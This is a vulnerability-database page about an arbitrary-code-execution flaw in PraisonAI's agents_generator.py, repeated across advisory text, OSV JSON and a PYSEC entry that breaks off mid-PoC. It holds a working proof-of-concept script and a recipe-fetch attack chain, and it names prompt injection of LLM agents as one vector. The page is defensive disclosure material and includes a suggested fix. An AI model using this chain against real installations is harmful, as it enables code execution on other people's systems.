Vulnerability-Lookup

GHSA-78R8-WWQV-R299

Vulnerability from github – Published: 2026-05-29 22:26 – Updated: 2026-05-29 22:26

Summary

PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334

Details

Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass)

Summary

The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.

Patch lineage

CVE | GHSA | Fixed in | What was patched -- | -- | -- | -- CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py This finding | — | unfixed | Missed sinks in agents_generator.py

Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.

Vulnerable code

# praisonai/agents_generator.py  (master HEAD; v4.6.37)

336    def load_tools_from_module(self, module_path):
           # ...
349        spec = importlib.util.spec_from_file_location("tools_module", module_path)
350        module = importlib.util.module_from_spec(spec)
351        spec.loader.exec_module(module)               # ← NO gate

372    def load_tools_from_module_class(self, module_path):
           # ...  (same pattern — spec_from_file_location → exec_module, no gate)

Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:

Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True).
Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

Attack chain (recipe vector)

HTTP POST /v1/recipes/run
  body: {"recipe": "github:<attacker>/<repo>/<recipe>"}
        │
        ▼
  Recipe fetched → agents.yaml contains:
    tools:
      - module_path: ./evil.py        # colocated in recipe dir
        │
        ▼
  AgentsGenerator.load_tools_from_module("./evil.py")
        │
        ▼
  agents_generator.py:349   spec = spec_from_file_location("tools_module", "./evil.py")
  agents_generator.py:351   spec.loader.exec_module(module)   ← RCE

No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.

PoC

#!/usr/bin/env bash
# Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail

WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT

# 1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
                      f"praisonai_agents_gen_pwn_{int(time.time())}.txt")
with open(marker, "w") as f:
    f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n")
print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool():
    """Placeholder so tool scan finds something."""
    pass
PYEOF

# 2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'
framework: praisonai
topic: "PoC — agents_generator exec_module bypass"
roles:
  poc_agent:
    role: PoC
    goal: Trigger load_tools_from_module
    backstory: n/a
    tools:
      - evil.py
YAMLEOF

# 3. Run
cd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
    ai = PraisonAI(agent_file='agents.yaml')
    ai.main()
except Exception:
    pass  # downstream failure expected; exec_module already fired
"

# 4. Verify
MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1)
if [ -n "$MARKER" ]; then
    echo "SUCCESS — marker file written by server process:"
    cat "$MARKER"
else
    echo "FAIL — marker not found"
    exit 1
fi

Impact

Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account.

Severity

High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)

When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

CWE

CWE-94: Improper Control of Generation of Code ('Code Injection')
CWE-426: Untrusted Search Path
CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected versions

All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).

Suggested fix

Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py:

import os

def load_tools_from_module(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

def load_tools_from_module_class(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.

Credit

Kai Aizen & Avraham Shemesh / SnailSploit

Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass)

TL;DR

Patch lineage

CVE	GHSA	Fixed in	What was patched
CVE-2026-40156	GHSA-2g3w-cpc4-chr4	4.5.128	CWD `tools.py` auto-load in `tool_resolver.py`
CVE-2026-40287	GHSA-g985-wjh9-qxxc	4.5.139	Env-var gate added to `tool_resolver.py` + `api/call.py`
CVE-2026-44334	GHSA-xcmw-grxf-wjhj	4.6.32	Missed sink in `templates/tool_override.py`
This finding	—	unfixed	Missed sinks in `agents_generator.py`

Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.

Vulnerable code

# praisonai/agents_generator.py  (master HEAD; v4.6.37)

336    def load_tools_from_module(self, module_path):
           # ...
349        spec = importlib.util.spec_from_file_location("tools_module", module_path)
350        module = importlib.util.module_from_spec(spec)
351        spec.loader.exec_module(module)               # ← NO gate

372    def load_tools_from_module_class(self, module_path):
           # ...  (same pattern — spec_from_file_location → exec_module, no gate)

Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True).
Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

Attack chain (recipe vector)

HTTP POST /v1/recipes/run
  body: {"recipe": "github:<attacker>/<repo>/<recipe>"}
        │
        ▼
  Recipe fetched → agents.yaml contains:
    tools:
      - module_path: ./evil.py        # colocated in recipe dir
        │
        ▼
  AgentsGenerator.load_tools_from_module("./evil.py")
        │
        ▼
  agents_generator.py:349   spec = spec_from_file_location("tools_module", "./evil.py")
  agents_generator.py:351   spec.loader.exec_module(module)   ← RCE

No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.

PoC

#!/usr/bin/env bash
# Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail

WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT

# 1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
                      f"praisonai_agents_gen_pwn_{int(time.time())}.txt")
with open(marker, "w") as f:
    f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n")
print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool():
    """Placeholder so tool scan finds something."""
    pass
PYEOF

# 2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'
framework: praisonai
topic: "PoC — agents_generator exec_module bypass"
roles:
  poc_agent:
    role: PoC
    goal: Trigger load_tools_from_module
    backstory: n/a
    tools:
      - evil.py
YAMLEOF

# 3. Run
cd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
    ai = PraisonAI(agent_file='agents.yaml')
    ai.main()
except Exception:
    pass  # downstream failure expected; exec_module already fired
"

# 4. Verify
MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1)
if [ -n "$MARKER" ]; then
    echo "SUCCESS — marker file written by server process:"
    cat "$MARKER"
else
    echo "FAIL — marker not found"
    exit 1
fi

Impact

Severity

High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)

When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

CWE

CWE-94: Improper Control of Generation of Code ('Code Injection')
CWE-426: Untrusted Search Path
CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected versions

All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).

Suggested fix

Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py:

import os

def load_tools_from_module(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

def load_tools_from_module_class(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.

Credit

Kai Aizen & Avraham Shemesh / [SnailSploit](https://snailsploit.com/)

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.39"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47398"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-829",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:26:31Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2\u003eArbitrary code execution via ungated \u003ccode\u003espec.loader.exec_module\u003c/code\u003e in \u003ccode\u003eagents_generator.py\u003c/code\u003e (v4.6.32 chokepoint refactor bypass)\u003c/h2\u003e\n\u003ch3\u003eSummary\u003c/h3\u003e\n\u003cp\u003eThe v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the \u003ccode\u003ePRAISONAI_ALLOW_LOCAL_TOOLS\u003c/code\u003e env-var gate to the \u003ccode\u003etool_override.py\u003c/code\u003e sinks. However, \u003cstrong\u003etwo additional \u003ccode\u003espec.loader.exec_module\u003c/code\u003e call sites\u003c/strong\u003e in \u003ccode\u003epraisonai/agents_generator.py\u003c/code\u003e were missed and remain completely unguarded on current \u003ccode\u003emaster\u003c/code\u003e (v4.6.37). Both functions accept a \u003ccode\u003emodule_path\u003c/code\u003e parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.\u003c/p\u003e\n\u003ch3\u003ePatch lineage\u003c/h3\u003e\n\nCVE | GHSA | Fixed in | What was patched\n-- | -- | -- | --\nCVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py\nCVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py\nCVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py\nThis finding | \u2014 | unfixed | Missed sinks in agents_generator.py\n\n\n\u003cp\u003eEvery prior patch addressed a subset of \u003ccode\u003eexec_module\u003c/code\u003e call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.\u003c/p\u003e\n\u003ch3\u003eVulnerable code\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003e# praisonai/agents_generator.py  (master HEAD; v4.6.37)\n\n336    def load_tools_from_module(self, module_path):\n           # ...\n349        spec = importlib.util.spec_from_file_location(\"tools_module\", module_path)\n350        module = importlib.util.module_from_spec(spec)\n351        spec.loader.exec_module(module)               # \u2190 NO gate\n\n372    def load_tools_from_module_class(self, module_path):\n           # ...  (same pattern \u2014 spec_from_file_location \u2192 exec_module, no gate)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNeither function checks \u003ccode\u003ePRAISONAI_ALLOW_LOCAL_TOOLS\u003c/code\u003e. Neither validates \u003ccode\u003emodule_path\u003c/code\u003e against an allowlist. The \u003ccode\u003emodule_path\u003c/code\u003e value originates from YAML agent configuration (\u003ccode\u003eagents.yaml\u003c/code\u003e) tool definitions, which can be:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eAttacker-controlled via shared/writable config directory\u003c/strong\u003e \u2014 same CWD-plant vector as CVE-2026-40156.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAttacker-controlled via recipe/GitHub fetch\u003c/strong\u003e \u2014 same remote trigger as CVE-2026-44334 (\u003ccode\u003ePOST /v1/recipes/run\u003c/code\u003e with \u003ccode\u003eallow_any_github=True\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAttacker-influenced via prompt injection\u003c/strong\u003e \u2014 an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3\u003eAttack chain (recipe vector)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eHTTP POST /v1/recipes/run\n  body: {\"recipe\": \"github:\u0026lt;attacker\u0026gt;/\u0026lt;repo\u0026gt;/\u0026lt;recipe\u0026gt;\"}\n        \u2502\n        \u25bc\n  Recipe fetched \u2192 agents.yaml contains:\n    tools:\n      - module_path: ./evil.py        # colocated in recipe dir\n        \u2502\n        \u25bc\n  AgentsGenerator.load_tools_from_module(\"./evil.py\")\n        \u2502\n        \u25bc\n  agents_generator.py:349   spec = spec_from_file_location(\"tools_module\", \"./evil.py\")\n  agents_generator.py:351   spec.loader.exec_module(module)   \u2190 RCE\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNo \u003ccode\u003ePRAISONAI_ALLOW_LOCAL_TOOLS\u003c/code\u003e check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.\u003c/p\u003e\n\u003ch3\u003ePoC\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003e#!/usr/bin/env bash\n# Requires: pip install praisonai (any version \u0026gt;= 2.0.0, \u0026lt;= 4.6.37)\nset -euo pipefail\n\nWORKDIR=$(mktemp -d)\ntrap \"rm -rf $WORKDIR\" EXIT\n\n# 1. Malicious module\ncat \u0026gt; \"$WORKDIR/evil.py\" \u0026lt;\u0026lt; \u0027PYEOF\u0027\nimport os, sys, tempfile, time\nmarker = os.path.join(tempfile.gettempdir(),\n                      f\"praisonai_agents_gen_pwn_{int(time.time())}.txt\")\nwith open(marker, \"w\") as f:\n    f.write(f\"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\\n\")\nprint(f\"[agents_generator bypass] RCE fired. Marker: {marker}\", flush=True)\n\ndef dummy_tool():\n    \"\"\"Placeholder so tool scan finds something.\"\"\"\n    pass\nPYEOF\n\n# 2. agents.yaml that references it\ncat \u0026gt; \"$WORKDIR/agents.yaml\" \u0026lt;\u0026lt; \u0027YAMLEOF\u0027\nframework: praisonai\ntopic: \"PoC \u2014 agents_generator exec_module bypass\"\nroles:\n  poc_agent:\n    role: PoC\n    goal: Trigger load_tools_from_module\n    backstory: n/a\n    tools:\n      - evil.py\nYAMLEOF\n\n# 3. Run\ncd \"$WORKDIR\"\npython -c \"\nfrom praisonai import PraisonAI\ntry:\n    ai = PraisonAI(agent_file=\u0027agents.yaml\u0027)\n    ai.main()\nexcept Exception:\n    pass  # downstream failure expected; exec_module already fired\n\"\n\n# 4. Verify\nMARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2\u0026gt;/dev/null | tail -1)\nif [ -n \"$MARKER\" ]; then\n    echo \"SUCCESS \u2014 marker file written by server process:\"\n    cat \"$MARKER\"\nelse\n    echo \"FAIL \u2014 marker not found\"\n    exit 1\nfi\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003eImpact\u003c/h3\u003e\n\u003cp\u003eArbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction \u2014 before any LLM interaction \u2014 so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an \u003ccode\u003eagents.yaml\u003c/code\u003e or colocate a \u003ccode\u003e.py\u003c/code\u003e file achieves code execution as the service account.\u003c/p\u003e\n\u003ch3\u003eSeverity\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eHigh\u003c/strong\u003e \u2014 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)\u003c/p\u003e\n\u003cp\u003eWhen combined with the recipe server\u0027s default no-auth posture and \u003ccode\u003eallow_any_github=True\u003c/code\u003e, the attack becomes \u003cstrong\u003enetwork-reachable without authentication\u003c/strong\u003e, elevating to:\u003c/p\u003e\n\u003cp\u003eCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)\u003c/p\u003e\n\u003ch3\u003eCWE\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)\u003c/li\u003e\n\u003cli\u003eCWE-426: Untrusted Search Path\u003c/li\u003e\n\u003cli\u003eCWE-829: Inclusion of Functionality from Untrusted Control Sphere\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAffected versions\u003c/h3\u003e\n\u003cp\u003eAll versions containing \u003ccode\u003eagents_generator.py\u003c/code\u003e with these functions \u2014 at minimum \u003ccode\u003e\u0026gt;= 2.0.0, \u0026lt;= 4.6.37\u003c/code\u003e (current \u003ccode\u003emaster\u003c/code\u003e HEAD).\u003c/p\u003e\n\u003ch3\u003eSuggested fix\u003c/h3\u003e\n\u003cp\u003eApply the same \u003ccode\u003ePRAISONAI_ALLOW_LOCAL_TOOLS\u003c/code\u003e env-var gate used in \u003ccode\u003etool_resolver.py\u003c/code\u003e and \u003ccode\u003eapi/call.py\u003c/code\u003e to both call sites in \u003ccode\u003eagents_generator.py\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003eimport os\n\ndef load_tools_from_module(self, module_path):\n    if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":\n        return []\n    # ... existing logic ...\n\ndef load_tools_from_module_class(self, module_path):\n    if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":\n        return []\n    # ... existing logic ...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eAdditionally, validate \u003ccode\u003emodule_path\u003c/code\u003e against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.\u003c/p\u003e\n\u003ch3\u003eCredit\u003c/h3\u003e\n\u003cp\u003eKai Aizen \u0026amp; Avraham Shemesh / \u003ca href=\"https://snailsploit.com/\"\u003eSnailSploit\u003c/a\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e## Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass)\n\n### TL;DR\n\nThe v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate to the `tool_override.py` sinks. However, **two additional `spec.loader.exec_module` call sites** in `praisonai/agents_generator.py` were missed and remain completely unguarded on current `master` (v4.6.37). Both functions accept a `module_path` parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.\n\n### Patch lineage\n\n| CVE | GHSA | Fixed in | What was patched |\n| --- | --- | --- | --- |\n| CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD `tools.py` auto-load in `tool_resolver.py` |\n| CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to `tool_resolver.py` + `api/call.py` |\n| CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in `templates/tool_override.py` |\n| **This finding** | \u2014 | **unfixed** | Missed sinks in `agents_generator.py` |\n\nEvery prior patch addressed a subset of `exec_module` call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.\n\n### Vulnerable code\n\n```python\n# praisonai/agents_generator.py  (master HEAD; v4.6.37)\n\n336    def load_tools_from_module(self, module_path):\n           # ...\n349        spec = importlib.util.spec_from_file_location(\"tools_module\", module_path)\n350        module = importlib.util.module_from_spec(spec)\n351        spec.loader.exec_module(module)               # \u2190 NO gate\n\n372    def load_tools_from_module_class(self, module_path):\n           # ...  (same pattern \u2014 spec_from_file_location \u2192 exec_module, no gate)\n```\n\nNeither function checks `PRAISONAI_ALLOW_LOCAL_TOOLS`. Neither validates `module_path` against an allowlist. The `module_path` value originates from YAML agent configuration (`agents.yaml`) tool definitions, which can be:\n\n1. **Attacker-controlled via shared/writable config directory** \u2014 same CWD-plant vector as CVE-2026-40156.\n2. **Attacker-controlled via recipe/GitHub fetch** \u2014 same remote trigger as CVE-2026-44334 (`POST /v1/recipes/run` with `allow_any_github=True`).\n3. **Attacker-influenced via prompt injection** \u2014 an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.\n\n### Attack chain (recipe vector)\n\n```\nHTTP POST /v1/recipes/run\n  body: {\"recipe\": \"github:\u003cattacker\u003e/\u003crepo\u003e/\u003crecipe\u003e\"}\n        \u2502\n        \u25bc\n  Recipe fetched \u2192 agents.yaml contains:\n    tools:\n      - module_path: ./evil.py        # colocated in recipe dir\n        \u2502\n        \u25bc\n  AgentsGenerator.load_tools_from_module(\"./evil.py\")\n        \u2502\n        \u25bc\n  agents_generator.py:349   spec = spec_from_file_location(\"tools_module\", \"./evil.py\")\n  agents_generator.py:351   spec.loader.exec_module(module)   \u2190 RCE\n```\n\nNo `PRAISONAI_ALLOW_LOCAL_TOOLS` check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.\n\n### PoC\n\n```bash\n#!/usr/bin/env bash\n# Requires: pip install praisonai (any version \u003e= 2.0.0, \u003c= 4.6.37)\nset -euo pipefail\n\nWORKDIR=$(mktemp -d)\ntrap \"rm -rf $WORKDIR\" EXIT\n\n# 1. Malicious module\ncat \u003e \"$WORKDIR/evil.py\" \u003c\u003c \u0027PYEOF\u0027\nimport os, sys, tempfile, time\nmarker = os.path.join(tempfile.gettempdir(),\n                      f\"praisonai_agents_gen_pwn_{int(time.time())}.txt\")\nwith open(marker, \"w\") as f:\n    f.write(f\"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\\n\")\nprint(f\"[agents_generator bypass] RCE fired. Marker: {marker}\", flush=True)\n\ndef dummy_tool():\n    \"\"\"Placeholder so tool scan finds something.\"\"\"\n    pass\nPYEOF\n\n# 2. agents.yaml that references it\ncat \u003e \"$WORKDIR/agents.yaml\" \u003c\u003c \u0027YAMLEOF\u0027\nframework: praisonai\ntopic: \"PoC \u2014 agents_generator exec_module bypass\"\nroles:\n  poc_agent:\n    role: PoC\n    goal: Trigger load_tools_from_module\n    backstory: n/a\n    tools:\n      - evil.py\nYAMLEOF\n\n# 3. Run\ncd \"$WORKDIR\"\npython -c \"\nfrom praisonai import PraisonAI\ntry:\n    ai = PraisonAI(agent_file=\u0027agents.yaml\u0027)\n    ai.main()\nexcept Exception:\n    pass  # downstream failure expected; exec_module already fired\n\"\n\n# 4. Verify\nMARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2\u003e/dev/null | tail -1)\nif [ -n \"$MARKER\" ]; then\n    echo \"SUCCESS \u2014 marker file written by server process:\"\n    cat \"$MARKER\"\nelse\n    echo \"FAIL \u2014 marker not found\"\n    exit 1\nfi\n```\n\n### Impact\n\nArbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction \u2014 before any LLM interaction \u2014 so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an `agents.yaml` or colocate a `.py` file achieves code execution as the service account.\n\n### Severity\n\n**High** \u2014 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)\n\nWhen combined with the recipe server\u0027s default no-auth posture and `allow_any_github=True`, the attack becomes **network-reachable without authentication**, elevating to:\n\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)\n\n### CWE\n\n- CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)\n- CWE-426: Untrusted Search Path\n- CWE-829: Inclusion of Functionality from Untrusted Control Sphere\n\n### Affected versions\n\nAll versions containing `agents_generator.py` with these functions \u2014 at minimum `\u003e= 2.0.0, \u003c= 4.6.37` (current `master` HEAD).\n\n### Suggested fix\n\nApply the same `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate used in `tool_resolver.py` and `api/call.py` to both call sites in `agents_generator.py`:\n\n```python\nimport os\n\ndef load_tools_from_module(self, module_path):\n    if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":\n        return []\n    # ... existing logic ...\n\ndef load_tools_from_module_class(self, module_path):\n    if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":\n        return []\n    # ... existing logic ...\n```\n\nAdditionally, validate `module_path` against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.\n\n### Credit\n\nKai Aizen \u0026 Avraham Shemesh / [[SnailSploit](https://snailsploit.com/)](https://snailsploit.com)",
  "id": "GHSA-78r8-wwqv-r299",
  "modified": "2026-05-29T22:26:31Z",
  "published": "2026-05-29T22:26:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-78r8-wwqv-r299"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334"
}

PYSEC-2026-2905

Vulnerability from pysec - Published: 2026-07-13 15:35 - Updated: 2026-07-13 16:05

Details

Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass)

Summary

Patch lineage

Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.

Vulnerable code

# praisonai/agents_generator.py  (master HEAD; v4.6.37)

336    def load_tools_from_module(self, module_path):
           # ...
349        spec = importlib.util.spec_from_file_location("tools_module", module_path)
350        module = importlib.util.module_from_spec(spec)
351        spec.loader.exec_module(module)               # ← NO gate

372    def load_tools_from_module_class(self, module_path):
           # ...  (same pattern — spec_from_file_location → exec_module, no gate)

Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True).
Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

Attack chain (recipe vector)

HTTP POST /v1/recipes/run
  body: {"recipe": "github:<attacker>/<repo>/<recipe>"}
        │
        ▼
  Recipe fetched → agents.yaml contains:
    tools:
      - module_path: ./evil.py        # colocated in recipe dir
        │
        ▼
  AgentsGenerator.load_tools_from_module("./evil.py")
        │
        ▼
  agents_generator.py:349   spec = spec_from_file_location("tools_module", "./evil.py")
  agents_generator.py:351   spec.loader.exec_module(module)   ← RCE

No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.

PoC

#!/usr/bin/env bash
# Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail

WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT

# 1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
                      f"praisonai_agents_gen_pwn_{int(time.time())}.txt")
with open(marker, "w") as f:
    f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n")
print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool():
    """Placeholder so tool scan finds something."""
    pass
PYEOF

# 2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'
framework: praisonai
topic: "PoC — agents_generator exec_module bypass"
